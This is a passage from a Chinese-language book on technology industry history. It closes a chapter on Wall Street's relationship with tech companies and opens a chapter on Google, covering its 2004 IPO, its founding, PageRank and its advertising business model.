Wachovia，银行业今后的竞争会缓和一些，互相的利润都会增加。\n科技公司和投资银行的相互依存关系还体现在很多其他地方，这里限于篇幅就不一一介绍了。\n结束语\n金融业在整个经济活动中起着血液的作用。健康的金融环境和秩序可以帮助科技公司的成长。但是由于金融业和巨大的利益联系在一起，因此贪婪、投机甚至非法的欺骗行为是金融业永远也摆脱不了的阴影。一位银行家曾经说过，虽然我们的社会和我们的商业跟一个世纪前相比有了本质的不同，但是华尔街和一个世纪前并没有什么两样，今后依然如此，因为这是由人贪婪的本性决定的。\n在这样一种前提下，一个科技公司如何能和华尔街合作得很好，让那些投资银行和基金公司成为自己的吹鼓手而不是杀手，便是一个艺术了。事实上，在美国一个上市公司的首席财务官它的首要任务并不是替公司管账，而是和华尔街沟通。他应该能用财务的语言，将他的公司的长远规划向华尔街讲清楚并树立华尔街对他的公司的信心。\n从好的一方面理解，华尔街对上市的科技公司的追捧也好打压也好，从客观上帮助了科技行业的优胜劣汰。一个真正管理得好的并且有竞争力的公司，应该能抵御得住多次金融危机或者投机人恶意打压。它既要有长远的发展规划、又要在短期内让投资人有信心，同时能很好地和华尔街沟通。另一方面，一个科技公司又不能刻意迎合华尔街的短期期望，这样它的发展会很被动。这样的公司一旦在一两个季度里未达到预期，则会被华尔街抛弃，反而适得其反。\n第17章 挑战者：Google 公司\n长期以来，硅谷的公司在和微软的竞争中一直处于下风。不但在市场上被微软挤垮，在人才的竞争中处于下风，而且在官司上也打不赢。从苹果、太阳、Novell 到网景公司， 一个个被微软后来居上， 三两个回合就被打败，从此没有全方位能够成功挑战微软的公司了。号称世界上创新之都、有几十万IT 从业人员的硅谷一直梦想着有一家公司能够在和微软面对面的竞争中赢一次。这个梦想终于由一个历史很短却有着惊人发展潜力的婴儿巨人( Baby Giant) Google 公司实现了。\nGoogle 公司从一开始，就以一个挑战者的身份出现在人们的视野中。它不仅在技术上和商业上挑战比自己更大更强的公司，而且在理念上挑战传统。今天它已经是一个有两万人的跨国公司了，还在不断挑战自己的极限，创造奇迹。Google 的故事完全可以写厚厚的一本书，已经有人写了，以后还会有人再写。遗憾的是，大多数书无非是对一个成功者的吹嘘和对Google 所谓奢侈生活的描述，它们很少提及Google 真正成功的原因。对于公众都熟知的事实我在这里就不赘述了。我想讲述Google 的发展用了13 个瞬间、13 个不为人知或被公众忽视的侧面，来描述一下这个传奇的公司。通过这些侧面应该很容易了解Google 成功的原因。\n17.1 历史上最轰动的IPO\n2004 年4 月2 8 日，这一年的第一百天，所有Google 的人都知道今天将要发生什么事。上午十点，大家收到了电子邮件，要大家去主饭厅一一查理饭厅等待重要消息的宣布。平时开会通常迟到几分钟的Google 人这天早早地便聚在了饭厅里，能容纳600 人就坐的饭厅挤了上千人。十点半钟，Google 的三巨头，共同创始人拉里· 佩奇和谢尔盖·布林及首席执行官埃里克·施密特，来到讲台上。布林宣布，我们刚刚(向证监会)提交了上市报告( 5-1) ，同时提交了年度的财务报告(K- 10 ) ，会场上掌声雷动，成百上千的Google人几年的辛苦努力终于将获得回报了。布林等大家安静下来接着宣布，我们将融资2 718 281 828 美元，这是数学上自然对数底数e 的前十位。这么大的融资额使得Google的初次公开募股(IPO)成为历史上最大的IPO 之一，会场再次沸腾了。接下来，由Google的营销副总裁奥米德· 科德斯塔尼( Omid Kondestani )最后一次站在沙袋上向大家宣布了最新的营收报告。Google 当季度的营业额比前一年同期增长了200% 。根据Google的传统，科德斯塔尼总是站在一个大沙袋上向大家宣布财务消息。由于Google今后将是上市公司了，不能再像以前那样对内公布营收情况了，因此科德斯塔尼宣布这是最后一次。在此同时，外界第一次了解到Google 保密了6 年的财务情况和市场规模。\n在Google 对内宣布上市消息的同时，外界得到了同样的消息。华尔街日报、布隆伯格新闻、路透社新闻等全球主要财经媒体和CNN 、纽约时报等主流媒体已经报道了这则新闻。以当时世界上最大的投资银行摩根斯坦利和欧洲最大的技资银行苏黎世信贷第一波士顿领衔，高盛、花旗财团等十几家世界最大的技资银行参加的Google 上市行动正式拉开序幕，整个华尔街和广大投资者都兴奋了起来。由于下载和阅读Google 上市文件的人数太多，美国证监会的网站因负载过大而一度岩机。\nGoogle 上市无疑是历史上最轰动、也是最令华尔街兴奋的一次融资行动。但是可能很多人并不知道， Google 其实是被美国《公司法》逼得不得不上市的。作为一家不上市公司，在经营上有很多方便之处，外界没有人知道Google 的任何商业细节，也没有人能干涉Google 的决策，这样Google 在商业竞争中能够出奇制胜(事实上如果雷曼兄弟公司是一个不上市的公司， 它可以避免破产的厄运) 。对于大多数公司来讲，通过上市融资可以使公司获得充足的发展资金，也可以使投资人的投资得到回报。作为一家非常成功的新兴公司， Google 不存在第一个问题。Google 在2001 年它刚刚满三年时就开始盈利了，而同时包括雅虎在内的几乎所有互联网公司都在亏损(当时只有eBay 是一个例外) 。从2001 年下半年起，Google 的利润和现金流( cash f1ow) 以极快的速度增长，远远比开销增长快得多。从这个角度讲Google 不急于上市。当然，另一方面风险投资公司和天使投资人希望通过上市才能收回投资。好在Google 的董事会非常明智地看到，越晚上市，盘子做得越大收益越高，因此尽可能地拖后上市时间，事实证明这个决策非常正确。从2002 年开始， Google 发展很快，人数也增加了很多，到2003 年它的人数超过了500 人。根据美国证监会规定，当一家公司的股东超过500 名并且资产越过一定规模后，即使它不上市也必须在第二年的100 天内公布财务状况。Google 大部分员工是有股份的，因此，熟悉金融的人可以准确预测Google申请的上市时间是2004 年4 月28 日(同样的道理， Facebook 应该在明年4 月28 日左右申请上市) 。\n而且早在2003 年，华尔街就已经炒作起来了。世界上所有著名的投资银行如摩根斯坦利、高盛、苏黎世信贷等早就在下面和Google 接触，希望承包Google 上市的行动。2003 年美国股市达到了低谷，投资银行需要一些特殊的输血才能刺激已经低迷两年的股市，明星公司Google 的上市将变成整个股市的兴奋剂。Google 两个刚满30 岁的创始人佩奇和布林在老练的华尔街银行家面前表现得异常冷静和精明。他们很清楚自己手中的牌和华尔街的牌。因此， Google 没有急于答应任何一家著名的投资银行表达的承包上市的意愿，而是有耐心地和多家投行保持接触，不得罪任何一家，同时将承包商的佣金压到了最低点。根据惯例，上市承包商将收取7% 的融资作为佣金，但是， Google 最终付出的比这个比例要低得多。虽然双方都没有公布Google 的佣金，但是在几个月后第二轮融资时，美林证券公司出了承包商的行列，并透露出原因， Google 付的佣金低到了它无钱可赚的地步。由此可见，在生意场上Google的精明程度。\n为了最大限度地保证自己和投资者的利益，并且保证公司在上市后不受华尔街控制(我们在前一章介绍过华尔街是如何控制上市公司的) , Google在IPO 时做了三件惊人的事。\n第一件事就是采用拍卖的方式决定IPO 的股价。为了回报广大股民对Google 的支持，并保证中小投资者的利益， Google 最终说服了华尔街投资银行采用竞标的方式认购Google 的原始股。在以往的上市行动中，原始股的价格由要上市的公司和承包商谈判商定， 一般来讲，价钱都低于实际价值(只有黑石公司上市时除外) ，而承包商和它们的大客户则赚差价，这样当然就损害了要上市公司的利益和中小投资者的利益。比如百度公司上市时的定价只有区区27 美元， 是上市第一天收盘价的1/4。不仅如此，承包商还会控制原始股的配给，除非是它非常大、非常重要的客户， 一般人根本拿不到什么认购权。这样就无法保证中小投资者的利益。Google的做法，保证了自己和中小投资者的利益，当然华尔街就要少挣一点。这一点，后者也心知肚明，明面上不好讲，背地里并没有配合Google 。因此，居然出现了Google 首次募资原始股认购不满的情况。Google 公司当机立断，在上市的前一天调低了一些原始股价格，同时大幅降低了融资的金额，从原来的27 亿美元降到17 亿美元，避免了以过低的价钱大量稀释自己的股份。\nGoogle 上市的第二个特点就是将一次融资拆成三次。一个公司融资上市，当然希望融资越多越好，但是这样要大量稀释自己的股票，公司和现有的股东未必能得到最大利润。显然Google 第一次没有充分融资。在首次融资一年后的2005 年9 月， Google 进行了第二次融资，以295 美元的价钱再次融资42 亿美元。这次融资虽然金额大，但是由于Google 的估价比IPO 时涨了三倍，只增发了很少的股票，最大地保证了自己和技资人的利益。到这时，大家不得不佩服Google 的高明之处。Google 的上市融资行动至此仍然没有结束。当时大家奇怪著名的高盛公司没有出现在第二次融资承包商中，而向从Google 上市，高盛一直是在为Google 高调捧场。半年后，谜底揭晓了。2006 年5 月，美国的标准普尔指数将Google 纳入其中。从金额上讲，标准普尔500 指数是美国和世界上的基金中，作为参考依据最多的指数， Google 被纳入其中后，很多基金将自动按照标准普尔500 指数指示的比例购人Google 的股票。根据以往其他股票被列入该指数的惯例，股价会上涨10%-20% 左右。通常炒家们在得到这个消息后会打个时间差从中套利(在对冲基金中专门有一种投机这种交易的基金，称为事件驱动( Event Driven )基金) 0 Google则早已计划并且准备好了，利用这次有利时机第三次融资。因此，标准普尔宣布这一消息后， Google 马上宣布第三次融资20 亿美元，这次由高盛公司独家承包。Google 在两年左右的时间里， 三次融资共80 亿美元，而且只稀释了不到10% 的股份，成为有史以来最为成功的上市行动。这些现金使得它有足够的财力打造超级数据中心，在与微软和雅虎的竞争中占到有利地位。和巴菲特一样， Google 的前任CEO 施密特是一个非常\"爱财\"的管理者，他永远将现金储备作为他关心的头等大事。他在2008年接受了媒体记者的一次采访。当记者问到Google 有上百亿美元的现金，能否给股东发一点红利时，施密特开玩笑说，我更喜欢看着这些钱在我银行的账户上。和很多成功的职业经理人一样，施密特是一个非常稳健的管理者，他在做任何事时都会保证在最坏情况下Google 能挺过很多道难关。\nGoogle 上市时做的第三件非同寻常的事就是学习巴菲特的伯克希尔一哈撒韦公司，将Google 的股票分成了投票权完全不同的两种。佩奇、布林和施密特等人是追求长期利益而不是眼前利益的人，在这一点上他们和巴菲特很一致。当然，华尔街对于任何上市公司都会指手画脚的，要求它们达到每个季度的营收预期。当基金经理们在一个上市公司中占的发言权很大时，他们甚至会要求撤换整个董事会由他们直接管理。前一阵被炒得沸沸扬扬的伊钦威胁撤换雅虎董事会一事，就是投资人过度干涉上市公司经营的典型例子。正是因为这个原因， Google 迟迟不愿意上市。Google的创始人仔细研究过巴菲特的成功经验，发现其中成功的一条就是公司内部的人要有绝对的发言权(投票权) 。巴菲特的做法是发行A 和B 两种面值不同的股票， A 股的面值是B 股的30 倍，投票权却是B 股的200 倍。B 股永远不能转成A 股，但是反过来A 股可以在任何时间转成B 股。当然，巴菲特和芒格等其他伯克希尔-哈撒韦的大股东及大投资人拥有的是A股。由于A 股的价钱高达每股十几万美元，不仅散户无法购买，动态管理的基金经理也无法购买。这样就保证了巴菲特和芒格对公司的绝对控制。Google 也类似地规定2002 年以前发行的股票(B股)每股拥有10个投票权，而以后的称为A 股(包括所有公开交易的) 一股只给一个投票权。B 股(大多数掌握在创始人和高管手里)不能流通，只能换成A股才能出售，而A 股则永远不能转化回B 股。其结果是不管一个投资人从市场上购买多少Google 的股票，只要它的创始人持有10% 的股票就可以拥有绝对多数的投票权。这样，华尔街很难直接干涉Google 的发展。两年后，百度也从Google 身上学到了双重股权的办法。\n从Google 的上市过程中可以看到，它是一个目光长远并且精明到骨子里的公司。\n17.2 早期岁月\n要介绍Google ，必须提及它的伙伴和对手雅虎公司。尽管这些年雅虎的风头早已让Google 盖过了，但我一直认为对互联网整个产业贡献最大的是雅虎公司和它的两个创始人杨致远和菲洛。一项产业早期领导者选定的商业模式对这项产业的影响几乎是决定性的。如果不是雅虎，互联网很可能像汽车一样在相当长时间里只能是有钱人的奢侈品。\n其实雅虎也不是第一家从事互联网服务的门户网站，在雅虎公司成立以前，美国在线已经开始提供普通用户互联网接人业务。但是它的商业模式很像传统的电话公司: 它卖给每个想上网的用户一个调制解调器(后来的微机自己带有这个功能，就不需另配这个外接设备了) ，然后利用电话线拨号上网。它的费用也和电话公司一样，每月20 美元，从用户那里收钱。但是雅虎的思路完全不同，它并不关心用户是如何上网的， 而是关心用户上网后去哪里。为了让越来越多的人能够上网去雅虎，它尽可能从商家而非用户那里挣钱来维持公司的运营，它甚至提供一些免费的接人号码。同样，中国版的雅虎一一搜狐、新浪和网易也用相同的方法主导了中国的互联网。雅虎及其追随者们，就这样培养出一个很大的市场，而且刺激了电子商务的诞生。\n杨致远的卓识远见不仅表现在看清了互联网产业正确的发展方向并沿着这个方向去执行，而且从一开始就看到了整理互联网内容的重要性。早期雅虎的用户是从为互联网的网站建目录( Directory )起家的。当时全世界互联网搜索的技术储备几乎是零， 传统的文献检索技术(以康奈尔大学萨尔顿教授为首)完全是针对阁书馆的文献和档案设计的，直接搬到互联网上效果并不好。杨致远和菲洛都不是信息处理的专家，也没有时间研究这个问题，因此他们根本就没有考虑采用自动的办法整合和检索互联网，而是采用了最快的办法一一手工建目录。由于当时网上的内容极少，杨致远和菲洛用手工很快就建立起了覆盖互联网大部分内容的目录。但是这种做法后来为雅虎的发展带来了一种不良的传统，雅虎至今仍然比Google 更相信人工而不是自动的方法。后来，互联网的内容多了，无法手工建索引和目录了，于是雅虎便采用了Inktomi的自动搜索引擎。\n由于当时计算机容盘和速度的限制，早期的搜索引擎都存在一个共同的问题:收录的网页太少，而且只能对网页中常见内容相关的实际用词进行索引。对于虚词，比如英语中的to 、be 和not ， 等等是不做索引的。那时，用户难以找到很相关的信息。为了查找一点信息，常常要换好几个搜索引擎。后来DEC 公司为了展示其64 位处理器Alpha 的超强计算能力，开发了AltaVista 搜索引擎，只用一台Alpha 服务器，却收录了比以往引擎都多的网页，而且对里面的每个词都进行了索引。AltaVista 一个最经典的搜索查询就是莎士比亚的名句\"是生存还是毁灭( to be or not to be) \" ，里面6 个词全部是虚词，以前任何搜索引擎都无法对它进行查找，而AltaVista可以。于是AltaVista 一夜之间成为最流行的搜索引擎。AltaVista 虽然让用户搜索到大量结果，但大部分结果却与查询不太相关，有时找想看的网页需要翻好几页。\n当上世纪90 年代末的互联网大潮席卷硅谷时，还在学校读博士生的拉里?佩奇和谢尔盖?布林也觉得该干点什么。在信息检索的学术界有两个衡量搜索质量好坏的客观标准即查全率( Recall )和查准率( Precision ) 。AltaVista 相比早期的搜索引擎，解决了覆盖率(查全率)的问题，但是还没有在查准率上有什么突破，佩奇和布林决定在这方面做点研究。\n当时整个学术界和工业界对搜索查准率的研究仍然局限在萨尔顿确定的、针对图书馆文献检索的关键词加权平均的框架中。虽然一些学者看到了互联网网页之间的相互联系，但是由于习惯性思维的限制，无非是把这种联系作为一个新的信号，对已有的方法修修补补， 因此效果并不好。佩奇和布林本来不是研究文献检索的，脑子里没有那些条条框框，而是从一个全新的角度看待互联网和它的搜索问题。我们问佩奇是如何想到Page Rank算法的。他说\"当时我们觉得整个互联网就像一张大的图( Graph ) ,每个网站就像一个节点，而每个网页的链接就像一个弧。我想，互联网可以用一个图或矩阵描述， 我也许可以用这个发现做个博士论文。\"就这样，他和布林发明了Page Rank 算法。当然，这里面还有很多实际问题待解决，好在布林和佩奇都是实实在在做事的人，他们不满足于从理论上证明Page Rank 算法的正确性，而且自己建起了一个搜索引擎Google 来证明Page Rank 的实用性。Google 基本上解决了搜索查准率的问题。虽然今天的Google 和其他搜索引擎相比当初的Google 已有了长足的进步，但是这种进步基本上属于量变。搜索引擎领域迄今为止的质变只有Google 取代AltaVista 那一次。\nGoogle 一词源于一个非常大的数字Googol ，即十的一百次方。实际上宇宙中没有任何事物能有这么大，甚至宇窗中全部的基本粒子数目也没有这么多。佩奇和布林取这个名字， 无非是想表示他们的搜索引擎很大。佩奇和布林很快建立起了搜索引擎，由于系里计算中心分配给他们的磁盘空间很快就装不下他们下载的网页了，于是他俩不得不自己掏腰包买了些硬盘。由于Page Rank 的作用和他俩在工程实现上的精雕细琢， Google 搜索引擎居然比当时商业的AltaVista 和Inktomi还准确，于是他们在斯坦福的一些同学和朋友就开始使用Google 进行网页搜索了。靠着同学和朋友们的互相推荐， Google 的搜索量达到了每天5000 次。1997 年9 月，佩奇和布林注册下google.com 的域名。这时，佩奇和布林信用卡上的钱能借的全借光了，他俩不得不为Google 找出路。他们接触了一些投资人，一开始并没有找到投资，直到1998 年夏天，佩奇和布林通过斯坦福大学那个帮助学生创业的办公室，联系到了斯坦福的校友、太阳公司创始人安迪? 贝托谢姆。\n贝托谢姆当年还在一线工作， 非常繁忙，他对佩奇和布林讲，他只有早上上班前有点时间。佩奇和布林当然不会放过任何一个可能的机会，于是一大早就扛着自己攒的服务器来到了贝托谢姆的办公室，并且向这位工业界大名鼎鼎的人物演示了自己的搜索引擎。在Google 以前，包括AltaVista在内的搜索一般10 条结果只有两三条是相关的，剩下来七八条都是无关的，而Google 则做到了七八条相关而两三条无关，这是一个质的飞跃。我在提及创业和技术进步曾多次讲，只有质的飞跃才能造就取代原有公司的新的主导者， Google 的技术在当时符合这个条件。贝托谢姆对演示的结果非常满意，他甚至没有考虑这个搜索引擎怎么挣钱就给\"Google 公司\"开出了一张10 万美元的支票给佩奇和布林。\n佩奇和布林当然兴奋得不得了，但是马上发现他们无法兑现这张大额支票，因为他们虽然注册了google.com 的域名，而Google 公司并不存在。于是他们在斯坦蓓的帮助下注册了Google 公司，斯坦福大学因为提供了部分用于Page Rank 的专利，也就成了Google 的股东。为了办公司， 佩奇和布林不得不\"暂时离开\" 学校。严格意义上讲，他们当时并不是退学，而是可以在任何时候再回学校继续读博士。\n佩奇和布林离开学校的同时，还带出了他们的一位博士生同学(当然也是暂时离开)克雷格? 西尔弗斯坦( Craig Silverstein ) 。西尔弗斯坦可以称得上是一位计算机奇才，他几乎一个人写出了Google 搜索引擎的第一个商业版本。前苏联著名物理学家、诺贝尔奖获得者朗道将世界上的物理学家从一级到五级分为5 个层次，每个层次的贡献差一个数量级(朗道很谦虚，他把他自己排在2 . 5 级，得了诺贝尔奖后，才把自己升到1.5 级) 。如果我们也是这样对计算机工程师分级，那么西尔弗斯坦无疑是在第一级，我自己大概是2.5 级。在Google 早期，佩奇和布林自己忙于找投资，儿乎不再有时间摘开发，整个开发的任务就压到了西尔弗斯坦一个人身上。他原来是研究信息编码的博士生，但是无论是系统设计还是编程能力都极强。更难得的是，和一般早期公司那些能很快地写很多粗糙程序的工程师不同，西尔弗斯坦的程序总是采用最优的实现方式，读起来完全像是在看一种艺术品的感觉。在Google ，研究和开发从来是不分离的， 作为Google 搜索引擎早期几平唯一的工程师，他要\"懂得\" 一个搜索引擎里面全部的原理，至今世界上能做到所有这一切的人也不多。当时Google既没有很多的钱，也还看不到今天的成就，西尔弗斯坦选择加盟，完全是因为和佩奇、布林两个人志同道合，并且坚信Google 能成功。西尔弗斯坦不仅开发出第一个商业版本的Google ，而且制定了Google 至今遵守的程序设计规范和流程。事实证明，即使在已经有几千名工程师的今天，西尔弗斯坦的规范和流程依然适用而且非常有效。\n贝托谢姆给的10 万美元很快就花光了，佩奇和布林很快又找到了100 万美元左右的投资。有了钱， Google 当然要找其他工程师了。据佩奇讲，当时他们3 个刚从学校出来，也没有招人的经验，大家在一张乒乓球桌前坐成一排，就开始面试人了，因为不知道该问什么问题，所以问的问题很随意。但是，他们坚持宁缺毋滥，每招一个人必须所有人一致同意才行，所以早期进Google 是很难的。直到2002 年， Google 招收的每一个工程师必须通过两位创始人或4 名Google Fellow 其中一位的面试，而且必须经两位创始人同意才行。\n一年以后的1999 年正是互联网最热的年头， Google 借着互联网的春风，顺利地从两家最大的风险技资公司KPCB 和红杉资本获得两千多万美元的投资。同时Google 通过为企业提供内部的搜索服务开始有了营业额。2000 年， Google 取代了Inktomi 为雅虎网站提供搜索服务。我第一次听说Google 就是在得知这个消息的时候。一年后的2001 年，互联网泡沫破灭，无数上市的互联网公司关门大吉，而Google 居然在这一年里开始盈利，不能不说是个奇迹。\n互联网上流传着早期Google 的很多故事，真实的和虚构的都有，还有一些半真半假，让不知情者难以分辨。其中一个普遍的误解就是雅虎想收购Google ， Google开了个当时雅虎认为的高价， 后者没接受， 于是错过了收购Google 的机会。这个故事的真实之处在于雅虎确实有收购Google的意向，而Google 开出当时认为是天价的原因是它的两个创始人根本不想出售公司。佩奇和布林是心比天高的人，根本不是那种赚一笔快钱就跑的人，也不是那种赚快钱的人可以理解的，用中国的古话讲就是\"燕雀焉知鸿鸽之志\" 。其实，最早想收购Google 的公司根本不是雅虎，而是亚马逊。在20 世纪90 年代末，由于美国信息工业奇缺工程师，很多公司不得不通过收购一个小公司，遣散非技术人员的方式来得到工程师。亚马逊专门有一位工程副总裁负责此事。他又一次到了硅谷考察公司，回去对同事讲：“我见到了一家公司，做的东西真好，他们才有4 个人，居然要开价10 亿美元。唉，他们做的东西真好! ”4 个人开这么高的天价实际上就是婉拒收购，这位副总裁也明白，虽然遗憾，但是也只好作罢了。言者无意，听者有心。他手下的一位中国工程师听到这个消息，马上试了试Google 的搜索，发现比AltaVista 和雅虎的好得多， 于是他当机立断地加盟了Google ，成为Google 第一位华裔员工(因此， Google 的第一位中国员工并不是Google中国和媒体搞错了的那位女生) 。\n如果不了解佩奇和布林的雄心，就不可能懂得Google 为什么能成功。我常常想，凡做大事的人，必须有做大事的气度和胸怀。佩奇和布林就是这样气度恢弘的人。很多公司在和Google 的竞争中总是处于被动，就是因为他们以为Google 的两个创始人年纪轻而低估了这两个人的雄心和能力。\n17.3 商业模式\n有人说Google 之所以成功是看到Overture (它的前身是GoTo. 后来被雅虎收购了)做搜索广告成功跟着学，才歪打正着地找到了最赚钱的商业模式。这种看法只看到了非常表面的现象，而且对Google 的创始人和历史非常不了解。试想世界历史上可曾有过一个歪打正着建立起来的稳固的帝国，工业史上可曾有过歪打正着建立起的跨国公司。后人写历史时为了吸引读者，经常故意夸大偶然事件的作用。\n我接触到的想创业的朋友，绝大多数对Google 有一个误解。当他们讲不出一个令人信服的商业模式时，总爱以Google 举例子。\"Google 一开始也不知道怎么挣钱，后来搜索广告做成功了，才找到商业模式\" 。我不能说这个观点是完全错误的但是它非常片面，说明讲这话的人不了解Google 的创始人。\n我总是对别人讲，比尔?盖茨是我们信息时代的拿破仑。如果要问我谁是盖茨的继承人，我认为不是微软的鲍尔默或其他人，而是Google 的佩奇和布林。盖茨对于微机工业的理解非常精确。在这个领域中，最成功的主导公司将是能帮助世界上每一个人(无论男女老少学历高低)使用计算机的公司。盖茨从一开始，虽然还不知道通过Windows 和Office 挣钱，但已经明确这个理想了。为了做到这一点，他的微软必须首先让计算机便宜下来，而且变得好用。盖茨做到了这两点，于是就成为微机领域之王。我们用这个标准来衡量一下微机工业的其他公司，有几个会有这么高的理想，有几个真正在坚持做这两点，绝大多数人只是在赚钱。佩奇和布林也一样，在他们的Google 还没有挣钱甚至还没有成立时，两个人就体会到在互联网时代，让所有人(也是不论男女老少)很容易免费上网并方便地找到自己想要的东西的公司，必将成为互联网时代之王(注意这里面的两个关键:免费和方便) 。佩奇很早(在Google 还远没有盈利时. )就说过，做到这一点的公司完全可以值一万亿美元。和微软一样， Google 的东西必须是面向大众的，并且是便于使用的。这也就是为什么Google 的网站那么简洁的原因。\n有了正确的方向，挣钱只是早晚的事。在DOS 时代，盖茨的微软在商业上还很小，还看不出是微机工业的王者，但是既然它已经控制了操作系统，即使没有开发出Windows 也会搞出一种类似的产品称霸微机领域。Google 也是同样，它早期就得以普及，通过广告挣钱也就是时间的问题。所以， Google 发展到今天，必然性比偶然因素重要得多。\n佩奇是一位极具商业眼光，并且能够透过现象看本质的奇才。在Google刚成立不久，公司请了美国第二大卫星电视网EchoStar ( Dish Network 卫视的提供商)来公司做报告( Google 至今经常请一些各行各业的精英，甚至包括太极拳高手，来公司做报告，不管他们做的事和Google 有关无关) 。当时在互联网泡沫破灭后， 互联网公司基本上死光了， 其他的公司都在萎缩。而Ec hoStar 的事业却居然蒸蒸日上。当时EchoStar 市值是一百多亿美元，比雅虎可大得多。昕完EchoStar 的报告，佩奇下来讲，你们看到了吗? EchoStar 的东西其实都不是自己的:它不会做卫星，因为它们是买来的或租来的; 它自己不制作电视节目，而是从媒体公司授权获得的;它也不做卫星接收器(圆形的锅)和电视盒子，前者是从中罔买的，后者是从摩托罗拉定制的。它做的事就是把电视节目送到终端用户家里。但是，就是这么一条，它就值上百亿美元。我不知道EchoStar 的想法和佩奇是不谋而合，还是佩奇从EchoStar 受到了启发。佩奇知道，只有把互联网的内容送到千家万户就行了，至于互联网的内容是谁的并不重要。世界上有上千万的网站(不包括垃圾网站)和上百亿的网页，绝大多数网站对于网民来讲很难找到，因此它们欢迎Google 这样的搜索引擎来索引它们的网站，这样它们和搜索引擎才能做到双赢。今天Google 的服务已经超越互联网索引的内容，但是Google 所有的服务至今遵循这个原则，这是Google 商业模式的核心。比如Google 新闻实际上不是它向己的新闻，而是它索引别人的新闻，方便大家查询。Google 最神奇的Google Earth 其实也是从第三方手里买来的数据， Google 做了一个大家容易使用的界面而已。\nGoogle 服务的另一个特点就是直接面对最终用户，在这一点上佩奇和布林的想法和投资大师巴菲特不谋而合。巴菲特有一个最简单有效的选择股票的办法，就是到大小百货店、加油站和食品店看一看老百姓都在买什么，这比听华尔街分析师瞎掰乎要准确得多。巴菲特因此而选择了可口可乐、宝洁、强生、百威啤酒、沃尔玛和卡夫食品等公司技资，都获得了极高的回报。在巴菲特看来，广大消费者才是一切商业的衣食父母。佩奇和布林也深深体会到，广大最终的用户(网民和广告商)才是为Google 带来生意的人，因此， Google 的产品一直是针对广大用户，既非像IBM 那样针对企业，又非像苹果那样针对精英。这样的商业策略很大程度上降低了Google 的商业风险，就像不论经济形势好坏大家都要购买日用消费品一样，大家也都要上网。这就是Google CEO 施密特讲Google 有很好的抵抗经济衰退的能力的原因。\n在大的经营方向确定下来后， Google 需要找到具体挣钱的商业模式。在经过一段时间的摸索后，搜索广告渐渐进入了佩奇的视野。在Google 以前，Overture 已经开始尝试将搜索结果按网站付费的高低进行排名，并且获得了相当的成功。Google 一直强调网页排名的公正性，直接采用Overture的做法从长远来讲可能会影响Google 的声誉，于是大家找出了一个变通的办法，就是网页排名本身完全保持客观性，而在网页的其他地方嵌入付费广告。这就是Google Adwords 的由来。对Google Adwords 贡献最大的两个人是佩奇和当时的产品经理萨拉。佩奇亲自领导了Adwords 的开发工作，而萨拉具体主管了这个产品的开发。萨拉在当时极其简阻的条件下，克服了很多困难，硬着头皮把这件事情做成了。在Adwords 的开发过程中， Google 的团队体现出惊人的执行力， 一共十几个人在很短的时间里，就把整个Ads 系统搞得停停当当，这件事情雅虎和微软花了十几倍的人力，几倍的时间也没有搞好。在Google 的早期，它总是有一种豪情，相信自己一个人能当十个人使，并且屡屡证明确实如此。\nGoogle 在商业上成功的另一个原因就是将中间环节减少到最少。Google认为，中间环节除了截留利润不带来任何好处，因此，在中国以外的全球市场， Google 向来只做直销，没有什么广告代理商。这一点，和戴尔计算机公司及巴菲特的Geico 保险公司有相似之处。\nGoogle 在早期并没有刻意追求营业额和利润，而是想方设法扩大自己的用户群。除了在技术上要比对手做得好以外，还将自己的网页做得特别干净，这样在到处是铺天盖地的横幅广告和弹出式广告的互联网上，显得非常超凡脱俗，便吸引了很多用户。当用户规模很大时，在Google 上随便放点什么广告，都会有很好的效果，因此，广告商都爱来Google 。Google 虽然广告投放数量不多， 但是收费却比传统的互联网广告贵10 倍。这才保证了Google 的高收入、高增长。\n17.4 个人英雄主义和群众路线\n是英雄创造历史还是奴隶创造历史，这个被争论了2000 年的话题到了19世纪终于有了结论。现在，我们把这个问题随便问一位受过良好中学教育的人，他都会按照老师教给他的说法回答是奴隶(或是人民群众)而不是英雄创造历史。但是，在现实生活中，很多人潜意识里并不这么认为。近二十年来，媒体时常公布中国上市公司收入最高的CEO 名单。每当大众对一些老总每年拿过半亿的收入议论纷纷时，这些总裁们总是理直气壮地为自己辩护，认为要不是因为他有三头六臂，哪有这公司的今天。在美国也是如此， 雅虎前CEO 塞缪尔尽管把公司搞的一团糟，却每年毫不脸红地拿上亿的收入。\n中国上世纪60 年代鼓励\"螺丝钉精神\"，中心思想是每一个人的贡献是有限的，因此大家要绝对服从组织，对岗位不挑剔，工作扎实，默默奉献。它曾经影响了几代人， 但是这种观点在强调个人价值的今天却不大管用了。然而这种个人服从大局的组织原则却又是任何一个集体取胜的关键，于是今天被冠予了一个好听的名称一一\"团队精神\" 。\nGoogle 一直宣传团队精神，但是Google 从不虚伪，所以并不要求个人无条件服从团队，因此在Google 内部换来换去很常见。而早期的Google则更赞赏个人英雄主义，而且往往发扬个人英雄主义。\n早期Google 一共没有几个人，到1999 年拿了KPCB 和红杉资本几千万投资时，也不过区区一二十位工程师，所以Google 强调的一直是以一指百。如果一个候选人不能做到这一点， Google 不要。在软件开发上，早期的Google 不相信软件工程里提出的什么将一个大任务细化后让初级程序员也能写程序这种普遍认同的观念。Google 相信的是一个头等软件工程师能干10 个二等工程师的活，一个二等工程师能干10 个三等工程师的活。如果是三等工程师， Google 根本就不要。除了我们上面提到的西尔弗斯坦，早期Google 的员工个个都是人物。比如来自中国的、从美国拿到计算机科学博士学位的工程师朱会灿，来Google 半年，一个人就推出了Google 的图片搜索。这不光包括研究算法写程序，而且包括架设和管理服务器等杂活。同样的工作今天即使在Google ，也需要20 个人忙一年。Google 今天云计算基础的GFS 和MapReduce技术，从设计到实现一共就三四个人干了两年。而同样的事情整个微软公司至今没干出来。我到Google 的第一天，当时主管工程唯一的副总裁韦恩?罗森给我打了个比方介绍Google 是如何\"培训\"新员工的\"我们教你游泳的方法是，第一天就把你扔进游泳池，说，去游吧，你就会游了。\"这就要求每个人都得是游泳的天才。\n早期Google 的方方面面都是如此。当Google 有了一个小小的工程师队伍时，就需要一个管理者。佩奇和布林找到了他们在斯坦福的学长，圣巴巴拉加州大学( UC Santa Barbara )的教授、面向对象设计的专家乌尔斯? 霍尔斯来主管工程。霍尔斯当年正在斯坦福做学术休假，考虑到这样可以解决两地分居的问题，他便答应了。霍尔斯一来，便带来了他的学生和该校其他的教授，将Google 工程师的队伍扩大了一倍。霍尔斯精力过人，他一到Google 就管起了一大堆的事。他马上将Google 